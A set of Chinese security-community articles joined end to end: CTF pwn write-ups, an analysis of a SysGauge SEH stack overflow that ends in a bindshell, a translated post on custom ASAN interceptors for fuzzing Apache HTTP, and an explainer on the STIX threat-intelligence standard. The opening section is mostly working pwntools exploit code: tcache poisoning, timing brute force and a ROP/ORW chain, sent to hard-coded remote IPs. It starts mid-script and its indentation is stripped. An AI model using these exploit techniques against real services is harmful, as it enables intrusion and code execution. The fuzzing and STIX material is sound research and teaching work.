def test_flag():
sla('What to do?',str(2))
def nex():
sla('What to do?',str(3))
def nofound():
sl(str(3))
for j in range(0x20):
add(0x645110+j*4+times*4,1)
print(hex(times+j)+': '+hex(ss_box[times+j]))
#nex()
#nex()
#nex()
#nex()
#nex()
#nex()
#通过控制nex的个数调整爆破哪一个变量
test_flag()
time_start=time.time()
ru('What to do?')
time_end=time.time()
print(time_end-time_start)
if round(time_end-time_start) != 1:
print('YES')
ia()
else :
print('NO')
for i in range(7):
sl('2')
p.close()
len_ss_box=65535
for i in range(0,len_ss_box,0x20):
exp(i)
连接.py:
from pwn import *
sh=remote("124.71.173.176","8888")
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
def proof_of_work(sh):
sh.recvuntil('x + "')
suffix = sh.recvuntil('"').decode("utf8")[:-1]
print(suffix)
#log.success(suffix)
sh.recvuntil('== "')
cipher = sh.recvuntil('"').decode("utf8")[:-1]
print(cipher)
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest()[:6] == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sh.sendlineafter("Input x:\n", proof)
proof_of_work(sh)
sh.interactive()
## spn
可以直接溢出，但是输入的东西会被加密，网上找个解密脚本算一下，算出加密之后是shell地址就行。tcache打shell，进后门。
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='SPN_ENC'
libc_name='lib/libc-2.27.so'
if local:
p=process("./"+binary_name)
libc=ELF("./"+libc_name)
else:
p=remote('124.71.194.126',9999)
e=ELF("./"+binary_name)
libc=ELF("./"+libc_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sla("0.exit\n",str(num))
def add(size,idx):
cho(1)
sla("Size:",str(size))
sla("Index:",str(idx))
def delete(idx):
cho(3)
sla("Index:",str(idx))
def show(idx):
cho(4)
sla("Index:",str(idx))
def edit(idx,size,data):
cho(2)
sla("Index:",str(idx))
sla("Size",str(size))
sa("Content",data)
def backdoor():
cho(5)
def decrypt(x):
io = process('./spn_dec.py')
io.sendline(str(x&0xffff))
a = int(io.recv()[:-1])
io.close()
return a
def spn_dec(x):
a1 = decrypt(x)
a2 = decrypt(x>>16)
a3 = decrypt(x>>32)
aa = a1+a2*0x10000+a3*0x100000000
print(hex(a3),hex(a2),hex(a1))
print(aa)
return aa
ru("gift:")
shell_addr=int(ru('\n'),16)
print(hex(shell_addr))
aa = spn_dec(shell_addr)
print(hex(aa))
add(0x10,0)
add(0x10,1)
add(0x10,2)
delete(2)
delete(1)
edit(0,0x26,b'a'*0x20+p64(aa)[:-2])
add(0x10,3)
add(0x10,4)
edit(4,2,b'aa')
backdoor()
ia()
# spn_dec.py是github上找的一个实现，改了一下io就用了。
## checkin
任意地址写一个字节，改了`_ZN14__interception21real___isoc99_vfscanfE`
的第二个字节，使其指向gets函数，返回调用gets函数，读取rop，泄露，栈迁移，orw。
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=1
binary_name='checkin'
libc_name='libc-2.27.so'
libc=ELF("./"+libc_name)
def pwn():
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
p=remote('123.60.97.201',9999)
sla(b'Welcome! A gift for you:',str(0x73edb8+1))
sleep(1)
sd(b'\x91')
sa(b'Leave a note.',b'a'*0x1f)
sa(b"That's all. Have fun!",p64(0x43FBB3))
pop_rdi = 0x41af0b
pop_rsp = 0x484d50
call_puts = 0x43A286
rop = p64(pop_rdi)+p64(0x72DE30)+p64(call_puts)+b'a'*0x838+p64(0)*6+p64(pop_rdi)+p64(0xA00000)+p64(0x43FBB3)+b'a'*0x30+p64(0)*3+p64(pop_rsp)+p64(0xA00000)
try:
p.recv()
sl(rop)
libc_addr = leak_address()-0x407e0
print(hex(libc_addr))
if libc_addr == 0x736572605c61:
p.close()
return 0
except Exception:
return 0
print(hex(libc_addr))
binsh=libc_addr+0x1B3E1A
system=libc_addr+0x4f550
pop_rsi=0x000000000041ab7c
pop_rdx=0x000000000043ced2
open_addr=libc_addr+libc.sym['open']
read_addr=libc_addr+libc.sym['read']
write_addr=libc_addr+libc.sym['write']
rop2 = p64(pop_rdi)+p64(0xA00100)+p64(pop_rsi)+p64(0)+p64(open_addr)
rop2 += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0xA00200)+p64(pop_rdx)+p64(0x100)+p64(read_addr)
rop2 += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0xA00200)+p64(pop_rdx)+p64(0x100)+p64(write_addr)
rop2 = rop2.ljust(0x100,b'\x00')+b'/flag\x00'
sl(rop2)
ia()
for i in range(0x100):
pwn() | 社区文章 |
作者：天融信阿尔法实验室
#### 一、漏洞简介
SysGauge 是一个系统和性能监视程序,
允许监视CPU使用率、NAS服务器监控、远程服务器监控、网络传输速率以及一些其他系统关键信息监控。在SysGauge Server
3.6.18中存在一个栈缓冲区溢出漏洞，由于该程序对网络数据处理不严谨，使得攻击者发送网络数据包可以执行任意代码。
#### 二、漏洞分析及利用
##### 2.1 分析环境及工具
Windows 7 x64
Windbg X64
IDA Pro
##### 2.2 漏洞原理
SysGauge.exe在处理网络请求的过程中过滤不严格导致拷贝越界。程序试图从网络数据包中拷贝一段字符串到一处栈缓冲区中，而结束拷贝的条件取件于是否遇到了指定的特字符。下面是漏洞发生的具体位置（libpal！SCA_GetToken()）：
分析代码可知， 该函数会从参数1中拷贝数据到参数3指定的内存中， 当遇到 0xD、0xA、0×00以及参数a4的时候, 才会停止拷贝。
#### 2.3 漏洞分析
libpal!SCA_NetTransport::WaitForMessage()函数用以接收数据和数据处理,
其伪代码如下,在112行的位置调用libpal!SCA_NetMessage::Deserialize()函数进行提取数据的过程中触发了漏洞。
该函数调用则最终调用了漏洞触发函数libpal!SCA_GetToken()
看到这里, 代码流程其实已经明了。此时检查一下传递给SCA_GetToken()函数的参数3, 即目标缓冲区.
该参数即libpal!SCA_NetTransport::WaitForMessage()的参数3.
下面贴一下调用libpal!SCA_NetTransport::WaitForMessage()的函数:
可以确认目标缓冲区不超过0×118大小, 当拷贝的数据超出0×118字节的时候便会污染了栈中其他数据。上图可以看出该函数有安装SEH
结构化异常处理函数，在该函数调用过程中产生的异常，操作系统均会调用该SEH回调函数进行处理。
##### 2.4 漏洞利用
由上面的分析可知, 构造一个网络数据包, 覆盖栈中SEH回调函数，触发漏洞即可获得代码执行权限。
以下是本次漏洞验证的Exp，该利用修改自exploit-db所公布的exp， 原Exp地址：<https://www.exploit-db.com/exploits/43588/>
由于原Exp中的SEH回调函数地址经过测试无法使用, 该地址处的代码如下：
此段代码无法正常引导流程转向payload，所以这里针对原Exp做了一些修改，值得说明的是以下两点。
Payload中用来覆盖的SEH回调函数地址。使用地址0x100692B1(pop ebp # pop ebx #
ret),可以成功将流程引导到payload中。
Payload中Stage1
引导代码。此处代码从栈中取参数，加上偏移取数据，定位到payload首地址，然后加上偏移跳转到Shellcode首字节开始执行。有疑问的可以查一下SEH回调函数的参数列表即可。
在运行该代码之后, 在Windbg追踪一下整个流程。
这里开始进行数据拷贝，当拷贝到0×120字节的时候， 目标缓冲区到达分页末尾，继续拷贝引发一个C05异常。
前面已经覆盖了SEH回调函数， 异常分发的时候系统调用了POC中指定的0x100692B1 函数。
EIP转入0x100692B1，下面准备跳转到stage1中执行。
成功执行Shellcode，返回了一个Bindshell。
#### 三、修复方法
1）升级到最新版的SysGauge
2）建立防火墙规则， 禁止未知来源的IP对本机9221端口的访问
* * * | 社区文章 |
# 基于套接字的模糊测试技术之Apache HTTP（中）：自定义拦截器
|
##### 译文声明
本文是翻译文章，文章原作者 GitHub Security Lab，文章来源：securitylab.github.com
原文地址：<https://securitylab.github.com/research/fuzzing-apache-2/>
译文仅供参考，具体内容表达以及含义原文为准。
在[本系列](https://securitylab.github.com/research/fuzzing-apache-1/)的[第一部分中](https://securitylab.github.com/research/fuzzing-apache-1/)，我解释了如何开始对 Apache HTTP 进行模糊测试，如何在 AFL++ 中实现自定义突变器，以及如何定义您自己的 HTTP 语法
在第二部分中，我将重点介绍如何构建我们自己的自定义 ASAN
拦截器，以便在实现自定义内存池时捕获内存错误，以及如何拦截文件系统系统调用以检测目标应用程序中的逻辑错误
让我们继续吧！
## 一、人工中毒
让我们首先快速回顾一下 Address Sanitizer (ASAN) 影子内存和中毒是如何工作的
ASAN维护了一个影子内存，用于跟踪实际内存中的每个字节，并可以确定内存中的任何给定字节是否可地址访问。无效内存区域中的字节称为红色区域或中毒内存
因此，当您使用 Address Sanitizer 编译您的程序时，它会检测每个内存访问并为其添加一个检查前缀。然后，ASAN
将跟踪程序，如果程序尝试写入无效的内存区域，ASAN
将停止执行并生成诊断报告。否则，它将允许程序继续运行。这允许您检测各种无效的内存访问和内存管理不善等问题
在某些情况下，对中毒内存有更自由的控制权限对开发人员和安全研究人员很有用。例如，在一个自定义函数中，您以一种ASAN无法捕获的方式处理内存。这就是为什么
ASAN 还提供了[手动内存中毒外部
API](https://github.com/google/sanitizers/wiki/AddressSanitizerManualPoisoning)，允许用户手动对内存区域进行中毒和解除中毒。
我们可以通过在程序里导入包含了这些外部 ASAN 接口的ASAN 库来使用这些功能：
#include <sanitizer/asan_interface.h>
然后我们可以在分别调用`malloc`和`free`时用 **ASAN_POISON_MEMORY_REGION** 和
**ASAN_UNPOISON_MEMORY_REGION**
宏。典型的工作流程是首先毒害整个内存区域，然后解除分配的内存块毒害，在它们之间留下毒害的红色区域。
这种方法相对简单，易于实现，但每当我们针对一个新程序时，都会遇到“重新实现轮子”的问题。如果我们能像ASAN那样，简单地拦截某一组功能，那就太好了。
出于这个原因，我将展示另一种方法：自定义拦截器
## 二、自定义拦截器
### 2.1 动机
在这篇博文的开头，我谈到了需要实现自定义拦截器来处理自定义内存池实现，就像Apache
HTTP的情况一样。所以我们要问自己的问题是“为什么我们需要实现自定义拦截器?”
让我们看一个例子来更好地理解
例如，考虑以下代码片段，其中调用了`apr_palloc`以分配内存：
在这种情况下，第二个参数的值为 126 ( `in_size = 126`) ，换句话说，我们的目标是在`g->apr_pool`这个内存池中分配
126 个字节。由于内存对齐要求，这 126 个字节将向上舍入为 128 个字节。这很清楚
如果您看过我们之前的[ProFTPd](https://securitylab.github.com/research/fuzzing-sockets-FTP/)博客文章，您可以找到有关内部如何实现 ProFTPd 内存池的知识。这个内存池实现是基于 Apache HTTP
的，所以在这种情况下，两者的实现是几乎相同的。Apache HTTP 内存池由内存节点的链表组成，如下所示：
然后，程序将在需要额外空间时向此链表添加新节点。当一个节点的空闲空间不足以满足`apr_palloc`需求时，则调用
**allocator_alloc**
函数。该函数将负责创建一个新节点并将其添加到链表中。然而，正如我们在下图中看到的，这样的分配大小总是向上舍入到`MIN_ALLOC`字节。因此，这些节点中的每一个的最小大小为`MIN_ALLOC`
稍后，在这个函数中调用`malloc`，目的是为这个节点分配新的内存。在下图中，您可以观察到 **size=8192**
的`malloc`调用是如何执行的：
我们发现自己面临这样一个场景:我们以 size = 126调用了`apr_palloc`…
……但是 ASAN 已经毒害了一个大小为 8192 的内存区域：
最终的结果是总共8192-126 = **8066字节**
被ASAN标记为可写，而实际上它不是真正分配的内存，而是节点中的空闲空间。因此，一个后续的`memcpy(np, source,
5000)`调用将导致一个超出范围的写操作，覆盖节点的其余内存。然而，我们不会看到任何ASAN警报消息，这将导致我们错过内存损坏错误，即使我们已经将ASAN启用
此类错误可能导致漏洞，例如我一年前在 ProFTPD 中发布的漏洞：CVE-2020-9273
### 2.2 准备步骤
接下来，我将解释如何从源代码构建 LLVM sanitizer。这是将我们自己的自定义ASAN拦截器添加到 ASAN库所必需的步骤
首先，您应该知道 LLVM sanitizer 运行时是所谓的 **“compiler-rt”** 运行时库的一部分。就我而言，我下载了
compiler-rt 源代码的 9.0.0 版，因为它是我之前在 Linux 发行版中安装的版本。您可以从以下链接下载这些源代码：
https://releases.llvm.org/9.0.0/compiler-rt-9.0.0.src.tar.xz
您可以使用以下方法构建它：
cd compiler-rt-9.0.0.src
mkdir build-compiler-rt
cd build-compiler-rt
cmake ../
make
在compiler-rt构建过程完成后，您必须将下一个环境变量添加到Apache的构建过程中：
LD_LIBRARY_PATH= /Downloads/compiler-rt-9.0.0.src/build-compiler-rt/lib/linux
CFLAGS="-I/Downloads/compiler-rt-9.0.0.src/lib -shared-libasan”
最后，你需要设置环境变量`LD_LIBRARY_PATH`，如下所示:
LD_LIBRARY_PATH=/Downloads/compiler-rt-9.0.0.src/build-compiler-rt/lib/linux
### 2.3 ASAN拦截器内部结构
正如我们前面看到的，ASAN需要拦截`malloc`和`free`等函数来跟踪内存使用情况。这要求首先加载运行时，然后再加载导出这些函数的库。因此，当我们添加链接器标志`-fsanitize=address`时，编译器按照符号搜索中查找到的顺序会首先设置libasan
如果我们检查代码，可以看到entry函数被称为`__asan_init`。这个函数依次调用`AsanActivate`和`AsanInternal`函数。大部分初始化步骤都发生在第二个函数中，也就是调用`InitializeAsanInterceptors`的地方。最后一个函数对于我们的目的来说是最重要的:
如上所示，ASAN默认拦截的每个函数都有一个`ASAN_INTERCEPT_FUNC`调用。`ASAN_INTERCEPT_FUNC`是一个宏，在Linux系统上被翻译成`INTERCEPT_FUNCTION_LINUX_OR_FREEBSD`。这个宏最终会调用`InterceptFunction函数`，该函数将执行所有实际的函数挂钩逻辑
#define ASAN_INTERCEPT_FUNC(name) do { \
if (!INTERCEPT_FUNCTION(name) && flags()->verbosity > 0) \
Report("AddressSanitizer: failed to intercept '" #name "'\n"); \
} while (0)
# define INTERCEPT_FUNCTION(func) INTERCEPT_FUNCTION_LINUX_OR_FREEBSD(func)
#define INTERCEPT_FUNCTION_LINUX_OR_FREEBSD(func) \
::__interception::InterceptFunction( \
#func, \
(::__interception::uptr *) & REAL(func), \
(::__interception::uptr) & (func), \
(::__interception::uptr) & WRAP(func))
在这个函数中，它调用`GetFuncAddr`函数，而`GetFuncAddr`函数又调用`dlsym()`。`Dlsym`允许程序检索该符号（被拦截的函数）加载到内存中的地址
稍后它将此函数的地址存储到`ptr_to_real`指针中
所以，总而言之，要定义我们自己的ASAN拦截器，我们需要执行以下步骤：
* 定义`INTERCEPTOR(int, foo, const char *bar, double baz){…}`，其中`foo`是我们想要拦截的函数的名称
* 在第一次调用`foo`函数之前调用`ASAN_INTERCEPT_FUNC (foo)`（通常来自`InitializeAsanInterceptors`函数）
现在，我将展示如何拦截 APR（Apache Portable Runtime）库的函数的真实示例
### 2.4 apr_palloc示例
如前所述，Apache使用自定义内存池来改进程序动态内存的管理。这就是为什么如果我们想在内存池中分配内存，我们应该调用`apr_palloc`而不是`malloc`
首先，我将展示我的`INTERCEPTOR(void*， apr_palloc，…)`实现：
`ENSURE_ASAN_INITED()`宏在继续执行之前会首先检查ASAN是否已经初始化。`GET_STACK_TRACE_MALLOC`宏检索当前堆栈跟踪，以便在捕获异常时将其显示在ASAN报告中。作为一般规则，我们将尽可能早地在拦截器中检索堆栈跟踪，因为我们不希望堆栈跟踪包含来自ASAN内部的函数
然后，我们使用`REAL(apr_palloc)`调用原始的`apr_palloc`函数，以便为内存池创建所有的内部结构。`apr_palloc`函数本身调用`allocator_alloc`函数，该函数负责在需要时分配内存。我们所做的是用_`_libc_malloc`替换`malloc`调用(被ASAN拦截)。这使我们能够避免对节点的整个内存进行清理
当程序从`apr_palloc`函数返回后，我们用与APR相同的方式对“in_size”整数进行对齐。这将使两个内存大小相同，然后调用`asan_malloc`来分配一个大小为“in_size”的新内存块。这个新分配的内存将由ASAN处理
最后，我们将`libc_malloc`和`asan_malloc`的内存地址存储在一个数组中，这样当节点被销毁时，我们就能够释放`asan-malloc`的内存块
就像我们处理`malloc`一样，我们也可以更改与释放节点相关的对`free()`的调用。在本例中，我们将修改`allocator_free`和`apr_allocator_destroy`函数。此外，我们必须释放之前用`asan_malloc`分配的内存。为此，我遍历存储地址的“addr”数组，并释放链接到该节点的所有内存块。最后，我使用`__libc_free(node)`语句直接调用`free()`函数
我使用这种方法是因为它简单且易于解释，但它的效率非常低，因为它意味着遍历整个“addr”数组。更好的方法是将节点地址存储到一个唯一的(向量)`unique(vector)`或`std::set`中，并将每个这些地址指向一个`asan_malloc-ed`地址的链表
## 三、文件监视器
当我们模糊一个文件服务器，如FTP服务器或HTTP服务器时，我们发送多个请求，这些请求将被转换为远程服务器中的文件系统调用（`open()`、`write()`、`read()`等）。这可能会触发与文件访问权限相关的逻辑漏洞，如访问绕过、业务流绕过等
然而，在大多数情况下，使用AFL这样的模糊器检测此类漏洞是一项复杂的任务。这是因为这种类型的fuzzer更倾向于检测内存管理漏洞(堆栈溢出、堆溢出等)。正是由于这个原因，我们需要实现新的检测方法来捕获这些漏洞
下面的文件监控方法是一种基本的方法，它基于拦截和保存文件系统调用信息以供以后分析。驱动分析的主要思想是
**将文件系统调用与它们的高级对等对象进行比较** ，并检查被调用的系统调用是否确实是它们本身，以及调用顺序和参数是否正确。
为了说明这一点，我将展示一个包含三个不同 WebDav 请求的示例：
* PUT
* MOVE
* DELETE
您可以在以下链接中下载包含这些请求的文件
https://github.com/antonio-morales/Apache-HTTP-Fuzzing/blob/main/WebDav/testWebDav.txt
首先，我将识别处理这些HTTP方法所涉及的高级函数。在PUT情况下，MOVE和DELETE分别为：
static int dav_method_put(request_rec *r)
static int dav_method_copymove(request_rec *r, int is_move)
static int dav_method_delete(request_rec *r)
然后，我将在每个函数的开头插入一个对`log_high`函数的调用:
同样，我们可以在每个函数的末尾插入一个`ENABLE_LOG = 0;`。`log_high`函数代码如下：
现在，正如我们在前一节中演示的那样，我们将使用ASAN拦截器来拦截文件系统系统调用。在Apache的环境下，我拦截了以下系统调用：
* `open`
* `rename`
* `unlink`
这是输出文件的示例：
在获得输出文件之后，我们需要分析它。在我的例子中，我使用[Elasticsearch](https://www.elastic.co/es/elasticsearch/)执行了一个后推理分析。如何执行实际的分析超出了这篇文章的范围，但我将在不久的将来在另一篇文章中分享我如何使用Elasticsearch进行API日志分析。我还将解释如何使用AFL++执行实时分析
## 四、待续…
在本系列的最后一篇文章中，我将使用第1部分和第2部分中概述的方法详细介绍在Apache HTTP中发现的漏洞。由于这也是我的“fuzzing
sockets”系列的最后一篇文章，我将总结一些我的主要经验，并向您介绍我的下一个研究课题
请继续关注第三部分！
## 五、参考
* [llvm.org](https://llvm.org/)
* Compiler-rt source code: <https://developer.apple.com/videos/play/wwdc2015/413/>
* Advanced Debugging and the Address Sanitizer – Mike Swingler, Anna Zaks
* <https://jonasdevlieghere.com/sanitizing-python-modules/> | 社区文章 |
# 威胁情报专栏：威胁情报标准——结构化威胁信息表达式（STIX）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
现今随着信息的发展，越来越需要拥有网络威胁情报的能力，并且要有足够的情报分享能力，针对情报进行制定相应安全策略。威胁情报分享能够帮助组织面对并聚焦在现今庞大且复杂的安全状态，此时我们最为需要的是具标准化、架构性的情报方式，才能更好的进行情报处理与分享。
目前成熟的国外威胁情报标准包括网络可观察表达式（CyboX）、结构化威胁信息表达式（STIX）以及指标信息的可信自动化交换（TAXII）、恶意软件属性枚举和特征描述（MAEC）等。国内有信息安全技术网络安全威胁信息格式规范Information
security technology — Cyber security threat information format》(GB/T
36643-2018)
。在上一篇文章《威胁情报专栏：谈谈我所理解的威胁情报——认识情报》中，我简单介绍了几种威胁标准。在本文中，我会对STIX标准进行详细介绍。
## 一、介绍
URL：<https://stixproject.github.io>
结构化威胁信息表达式STIX (Structured Threat Information eXpression) 是由 MITRE 公司 (The
MITRE Corporation) 所定义与开发出用来快速能达到表示事件相关性与涵盖性之语言，以表达出架构性的网络威胁信息。STIX
语言将包含威胁信息的全部范围，并尽可能地达到完整表示、弹性化、可延展性、自动化与可解读性等特性。它是一种语言，目的是为规范网络威胁信息的规范包括威胁情报采集，特性和交流。在一个结构化的方式来支持更有效的使得网络威胁管理流程化，实现应用的自动化。
STIX提供了基于标准XML的语法描述威胁情报的细节和威胁内容的方法。它支持使用CybOX格式去描述大部分其语法本身就能描述的内容，当然，它还支持其他格式。标准化将使安全研究人员交换威胁情报的效率和准确率大大提升，大大减少沟通中的误解，还能自动化处理某些威胁情报。实践证明，STIX规范可以描述威胁情报中多方面的特征，包括威胁因素，威胁活动，安全事故等。它极大程度利用DHS规范来指定各个STIX实体中包含的数据项的格式。
在官方中，给出的定义如下：
> Structured Threat Information Expression (STIX) is a structured language for
> describing cyber threat information so it can be shared, stored, and
> analyzed in a consistent manner.
即：结构化威胁信息表达（STIX）是一种用于描述网络威胁信息的结构化语言，因此可以以一致的方式进行共享，存储和分析。
由此，我们可见：STIX的目的是为规范网络威胁信息的规范包括威胁情报采集，特性和交流。在一个结构化的方式来支持更有效的使得网络威胁管理流程化，实现应用的自动化。我们可以用其来进行以下活动：
* 分析网络威胁
* 指定指示灯显示方式的网络威胁
* 管理网络威胁应对活动
* 共享网络威胁信息
STIX提供了一个共同的机制在共享情报成员之间的实现案例的一致性，提升效率，互操作性和整体的态势感知能力，跨平台和处理结构化网络威胁的信息。
## 二、发展历史
STIX最初源于针对开发网络威胁指标表达标准的讨论，参与讨论者为IDXWG邮件名单上的安全运营及网络威胁情报专家，这份名单由美国计算机应急响应小组（US-CERT）与CERT.org在2010年拟定，以讨论网络安全事件的自动化数据交换问题。经过讨论，产生了粗略的结构化威胁信息架构图。该架构图的初始用途是厘清结构化网络威胁指标应包含的信息类型以及其他相关架构中应定义的信息类型，它划定了大致范围，这样便可以对其进行初步裁剪，形成结构化网络威胁指标表达。
随着网络威胁指标概念及初始架构的成熟，会有越来越多的人去充实结构化威胁信息架构的其他部分。完整STIX架构的XML
Schema实现结合了网络威胁指标表达等元素，是上述讨论的成果，反映了动态发展、不断壮大的群体对开发STIX语言所做的持续努力。
## 三、架构
STIX由9个关键词构造及其之间的关系组成：
* **观察对象（Observable）：** 用CybOX表征的动态事件或静态资产。
* **指标（Indicators）：** 描述了可能看到的攻击模式以及它们的方式。
* **事件（Incidents）：** 描述了特定对手行为的实例。
* **TPP（Adversary Tactics, Techniques, and Procedures）：** 描述攻击模式，恶意软件，攻击，杀链，工具，基础设施，受害者定位以及对手使用的其他方法。
* **漏洞利用目标（Exploit Targets）：** 描述可能被利用的漏洞，弱点或配置。
* **行动方针（Courses of Action）：** 描述了可以针对攻击采取的响应行动或作为预防措施
* **攻击活动（Campaigns）：** 描述具有共享意图的事件或TTPs。
* **威胁参与者（Threat Actors）：** 描述对手和特征识别。
* **报告（Reports）：** 收集相关的STIX内容并为其提供共享上下文。
这样的架构在实用的同时使得STIX既灵活和可扩展的。现有的标准化语言可能被利用作为可选的扩展，在适当情况下和许多灵活机制被设计成标准语言，使得任何单一的用例可以利用STIX的标准在与其相关的情报进行扩充，而不会因为格式而使得无法搜集情报。其中，对于几个要素的详细解释如下：
1. **Observables：** 此角色人员关注在于寻找、看见或观察到什么样的攻击行为，是STIX中最基础的角色。通常是我们能够观察到的行为。是威胁情报中最基本的信息。例如创建注册表项、特定IP 地址上出现网络流量、发现特定IP地址发送了电子邮件等。这些都是日后事件处理的关键信息。
2. **Indicators：** 此角色关注在要找寻什么，为什么需要注意。表征这个威胁的特征指标，也就是威胁外在表象的内在特征。通过查看这些特征可以判定是否真的遭受了这个威胁的攻击。包括威胁处理的条件，可能的影响，有效时间，建议的处理方法，检测或测试方法，指标来源。
3. **Incidents：** 此角色关注在看见了什么。明确关于网络安全事件的信息。它包含了对事件的描述，包括时间、位置、影响、相关的指标、利用TTP，攻击意图，影响评估，响应行动的要求，采取的行动响应过程，事件的日志信息源等。
4. **Adversary Tactics, Techniques, and Procedures：** 此角色关注在做了什么。这里作为威胁情报中的关键信息，TTP 将安全事件全面进行了描述，并分手段、技术、过程三个维度分析，包括了恶意攻击的行为、采用了什么工具、受害目标、利用了什么弱点、影响及后果=等等。
5. **Exploit Targets：** 代表软件、系统、网络或组织的弱点或漏洞，而这即成为ThreatActors利用TTP攻击的目标。明确有关可能被对手有针对性地进行开发利用技术漏洞，脆弱性，或软件配置错误，系统或网络的风险信息。这些信息可以来自于漏洞平台、地下黑市、0day等等。
6. **Courses of Action：** 此角色关注应该针对事件采取什么行为，通常是针对ExploitTargets所采取的行动，以降低Incident的影响范围。COA 是解决威胁的具体措施，可纠正或预防利用目标，以应对或缓解安全事件的潜在影响。在结构上，COA 包括网络威胁管理中的相关阶段、COA 类型、描述、目的、结构化表达、可能的影响、可能的成本、预估功效、可观察物参数及处理建议。
7. **Campaigns：** 此角色关注为什么要进行此次攻击。行动是威胁源起方实施其意图的实例，其意图可通过一系列事件或TTP观察到从结构上看，行动可包括据推测攻击者可能想要达到的影响、行动利用的相关 TTP、被视为行动的一部分的相关事件、对发动行动的威胁源起方进行分析、行动相关的其他行动、总体意图描述及行动描述的置信度、采取的响应活动、行动信息的来源和处理建议等。
8. **Threat Actors：** 这里就是所谓的攻击者。明确威胁的来源或者人员。表征包括像威胁的人员，其动机和预期效果，和历史上观察到的行为的复杂信息。在STIX关系模型，威胁行为还包括信息，如观察到的TTP，历史入侵活动，并关联出与其相关的其他威胁的人员。
9. **Reports：** 综合上面8条而输出的报告。使用了STIX标准，可以快速进行信息分享。
## 四、适用场景
现在的攻击都不是单一的攻击，拿典型的APT攻击来讲，攻击者从侦查目标、制作攻击工具、送出工具、攻击目标弱点、拿下权限、运行工具，后期远端维护工具，长期的控制目标。针对这种定向的高级攻击，威胁情报共享是很好的解决办法。
STIX主要可适用在以下四类场景
**1\. 威胁分析。** 威胁的判断、分析、调查、保留记录等使用。
**2\. 威胁特征分类。** 将威胁特征进行分类，以人工方式或自动化工具。
**3\. 威胁及安全事件应急处理：** 安全事件的防范、侦测、处理、总结等，在安全事件处置过程中可以有很好的借鉴，以前做事件处理没有这么详尽的信息。
**4\. 威胁情报分享。** 用标准化的框架进行描述与分享。
STIX 用以支持网络威胁管理中涉及的各种核心用例，下图是这些用例的极简概要图：
### （UC1）分析网络威胁
网络威胁分析师对各种手动、自动输入的网络威胁活动的结构化与非结构化信息进行评审，了解相关威胁的性质，对其进行识别和表征，这样，威胁的所有关联信息被充分描述并随时更新。这种关联信息包括威胁相关行动、行为、能力、意图、责任源起方等。
基于对这些信息的理解与特征归纳，分析师接下来可明确关联威胁指标特征，建议威胁响应活动中应采取哪些措施，或与其他可信方共享此等信息。例如，对于潜在的钓鱼攻击，网络威胁分析师会分析、评估可疑的钓鱼邮件，分析所有的邮件附件与链接以确定其是否为恶意，评估钓鱼攻击目标与内容的普遍性，确定恶意附件是否打开过或包含链接，同时对所有的分析进行记录。
### （UC2）明确网络威胁的指标特征
网络威胁分析师对于特定网络威胁及其情境与相关元数据的可观察特征明确规定其表达方式，并对特征及其匹配结果进行解释、处理与应用。这可以手动完成，也可以借助于自动化工具和结构化实例威胁信息完成。例如，在确定钓鱼攻击发生后，网络威胁分析师会通过分析钓鱼邮件获取相关可观察物信息（如源目的地址、真实源、主题、嵌入
URL、附件类型、特定附件等），识别钓鱼攻击中发现的相关
TTP，对攻击进行攻击链关联，合理分配指标的置信度，确定合适的处理建议，生成指标相关的自动化规则（如 Snort、YARA、OVAL
等），确定使用哪种建议措施，最后将所有这些信息整合，形成相关记录以用于共享。
### （UC3）管理网络威胁响应活动
网络决策者与网络运营人员共同防护、检测网络威胁活动，调查该活动的蛛丝马迹并作出响应。预防性行动方案可具有修复性，用以修复可能被利用的漏洞、缺陷或不当配置。在检测、调查了特定事件后，可以进行响应动作。例如，在确认钓鱼攻击发生并具有明确的指标后，网络决策者与网络运营人员进行合作，以充分理解环境中钓鱼攻击的影响（包括所安装或运行的恶意软件），对潜在行动方案进行成本与效用评估，实施恰当的预防或检测措施。
#### （UC3.1）网络威胁预防
针对已识别威胁，网络决策者评估潜在的行动方案，选择合适的实施措施。网络运营人员实施具体措施，以预防特定网络威胁，方法包括普遍应用缓解措施和基于对主要指标的预测性解释进行针对性缓解。例如，在确认钓鱼攻击发生并具有明确的指标后，网络决策者可评估针对此钓鱼攻击相关指标建议的预防性行动方案（如在邮件网关实施阻断规则），确定相关成本与风险，最后决定是否实施相关措施。若决定实施，具体的实施活动由网络运营人员承担。
#### （UC3.2）网络威胁检测
网络运营人员应用自动与人工机制来监控、评估网络运营，以检测特定网络威胁，无论威胁是通过取证确认已发生，还是通过动态态势感知发现正在进行中，还是通过对主要指标进行预测性解释预测将会发生。
检测一般基于网络威胁指标特征。例如，在确认钓鱼攻击发生并具有明确的指标后，网络运营人员会根据确定的攻击指标收集特定可观察物特征，将其正确应用到运营环境中，以便钓鱼攻击发生时准确检测。
#### （UC3.3）安全事件响应
网路运营人员对检测到的潜在网络威胁进行响应，调查已发生或正在发生的事件，尝试识别并归纳实际威胁的特征，并在可能情况下实施特定的缓解或纠正措施。
例如，在确认发生钓鱼攻击后，网络运营人员可进行调查活动以确定钓鱼攻击是否在目标环境成功造成负面影响（如，恶意软件是否已安装或运行），若答案肯定，则尽量详细描述这些影响。
### （UC4）共享网络威胁信息
